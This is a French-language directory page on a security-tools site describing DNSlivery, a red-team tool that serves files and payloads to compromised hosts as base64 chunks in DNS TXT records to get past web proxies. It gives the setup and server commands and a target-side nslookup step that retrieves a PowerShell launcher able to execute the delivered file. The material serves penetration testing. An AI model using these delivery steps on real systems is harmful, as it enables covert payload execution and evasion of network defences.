Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DNSlivery — Livraison facile de fichiers et de payloads via DNS | Kitploit
Outils/GitHubGitHub/samybaiwir/dnslivery
Exfiltration de DonnéesTests d'IntrusionCommandement et ContrôleRed TeamingAnalyse DNS
GitHubsamybaiwir/dnslivery

DNSlivery

Livraison facile de fichiers et de payloads via DNS

Voir le dépôt
426779il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

python-3.7 Known Vulnerabilities

DNSlivery

Livraison facile de fichiers et de charges utiles via DNS.

  • DNSlivery
  • Remerciements
  • Description
    • TL;DR
    • Quel problème essayez-vous de résoudre ?
    • Comment cela fonctionne-t-il ?
    • Prérequis
  • Installation
    • Zone DNS
    • DNSlivery
  • Utilisation
    • Serveur
    • Cible

Remerciements

Ce projet a été initialement inspiré par PowerDNS et par le segment technique de Joff Thyer dans le podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).

Description

TL;DR

DNSlivery permet de livrer des fichiers à une cible en utilisant DNS comme protocole de transport.

Fonctionnalités :

  • permet d'afficher, d'exécuter ou d'enregistrer des fichiers sur la cible
  • ne nécessite aucun client sur la cible
  • ne nécessite pas de serveur DNS complet

demo-target.git

Quel problème essayez-vous de résoudre ?

Livrer facilement des fichiers et/ou des charges utiles à une cible compromise lorsque la livraison web classique n'est pas possible et sans avoir besoin d'un logiciel client dédié. Cela s'applique aux environnements restreints où le trafic web sortant est interdit ou simplement inspecté par un proxy web curieux.

web-delivery-blocked.png

Bien que des outils de tunneling DNS plus complets existent déjà (tels que dnscat2 et iodine), ils nécessitent tous l'exécution d'un client dédié sur la cible. Le problème est qu'il n'existe probablement aucun autre moyen que DNS pour livrer le client dans de tels environnements restreints. En d'autres termes, établir un canal de communication DNS avec ces outils nécessite de disposer déjà d'un canal de communication DNS.

En comparaison, DNSlivery ne fournit qu'une communication unidirectionnelle de votre serveur vers la cible, mais ne nécessite aucun client dédié pour ce faire. Ainsi, si vous devez établir un canal de communication bidirectionnel fiable via DNS, utilisez DNSlivery pour livrer le client d'un outil de tunneling DNS plus avancé à votre cible.

Comment cela fonctionne-t-il ?

Tout comme la plupart des outils de tunneling DNS, DNSlivery utilise des enregistrements TXT pour stocker le contenu des fichiers dans leur représentation base64. Cependant, il ne nécessite pas la mise en place d'un serveur DNS complet pour fonctionner. À la place, il utilise la bibliothèque scapy pour écouter les paquets DNS entrants et élaborer la réponse souhaitée.

network-process.png

Comme la plupart des fichiers ne tiennent pas dans un seul enregistrement TXT, DNSlivery créera plusieurs enregistrements ordonnés contenant des morceaux base64 du fichier. Par exemple, le schéma ci-dessus illustre la livraison du 42e morceau du fichier nommé file.

Afin de récupérer tous les morceaux base64 et de les réassembler sans avoir besoin d'un client dédié sur la cible, DNSlivery générera pour chaque fichier :

  • un lanceur simple en clair
  • un stager fiable encodé en base64

two-stages-delivery.png

Ce processus de livraison en deux étapes est nécessaire pour ajouter des fonctionnalités au stager (telles que la gestion des réponses DNS perdues) qui ne tiendraient pas autrement dans un seul enregistrement TXT.

Note sur la compatibilité des cibles

Actuellement, seules les cibles PowerShell sont prises en charge. Cependant, DNSlivery pourrait être amélioré pour prendre en charge des cibles supplémentaires telles que bash ou python. Veuillez me le faire savoir @no0be si c'est une fonctionnalité que vous souhaiteriez voir implémentée.

Prérequis

DNSlivery ne nécessite pas la mise en place d'une infrastructure serveur complexe. En fait, il n'y a que deux exigences simples :

  • pouvoir créer un enregistrement NS dans votre zone DNS publique
  • disposer d'un serveur Linux capable de recevoir le trafic udp/53 depuis Internet

Installation

Zone DNS

La première étape consiste à déléguer un sous-domaine au serveur qui exécutera DNSlivery en créant un nouvel enregistrement NS dans votre domaine. Par exemple, j'ai créé l'enregistrement suivant pour déléguer le sous-domaine dnsd.no0.be au serveur vps.no0.be.

root@kitploit:~
dnsd    IN  NS vps.no0.be.

Si votre zone est gérée par un fournisseur tiers, reportez-vous à sa documentation pour créer l'enregistrement NS.

DNSlivery

Les seules exigences pour exécuter DNSlivery sont python3 et sa bibliothèque scapy.

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Utilisation

Serveur

DNSlivery servira tous les fichiers d'un répertoire donné (pwd par défaut) et doit être exécuté avec les privilèges root pour écouter les paquets udp/53 entrants.

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Livraison facile de fichiers et de charges utiles via DNS

arguments de position :
  interface             interface pour écouter le trafic DNS
  domain                nom FQDN de la zone DNS
  nameserver            nom FQDN du serveur exécutant DNSlivery

arguments optionnels :
  -h, --help            affiche ce message d'aide et quitte
  -p PATH, --path PATH  chemin du répertoire à servir via DNS (défaut : pwd)
  -s SIZE, --size SIZE  taille en octets des morceaux base64 (défaut : 255)
  -v, --verbose         augmente la verbosité

Exemple :

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Livraison facile de fichiers et de charges utiles via DNS

[*] Fichier "file" prêt pour la livraison à file.dnsd.no0.be (7 morceaux)
[*] Écoute des requêtes DNS...

Note sur la normalisation des noms de fichiers

Comme le jeu de caractères autorisé pour les noms de domaine est beaucoup plus restrictif que celui des noms de fichiers UNIX (selon RFC1035), DNSlivery effectuera une normalisation si nécessaire.

Exemple :

root@kitploit:~
[*] Fichier "My Awesome Powershell Script ;).ps1" prêt pour la livraison à my-awesome-powershell-script----ps1.dnsd.no0.be (1891 morceaux)

Sachez que le code de normalisation actuel n'est pas parfait car il ne prend pas en compte les noms de fichiers qui se chevauchent ni la limite de taille.

Cible

Sur la cible, commencez par récupérer le lanceur du fichier souhaité en demandant son enregistrement TXT dédié. Les trois lanceurs suivants sont pris en charge :

root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

Ensuite, il suffit de copier et coller le lanceur cité dans la réponse DNS dans une console PowerShell pour récupérer le fichier sur la cible.

Exemple :

demo-target.git

Télécharger l’outil
ActionLanceurDescription
Afficher[filename].print.[domain](Par défaut) Affiche le fichier livré dans la console
Exécuter[filename].exec.[domain]Exécute le fichier livré (utile pour les scripts)
Enregistrer[filename].save.[domain]Enregistre le fichier livré sur le disque (utile pour les binaires)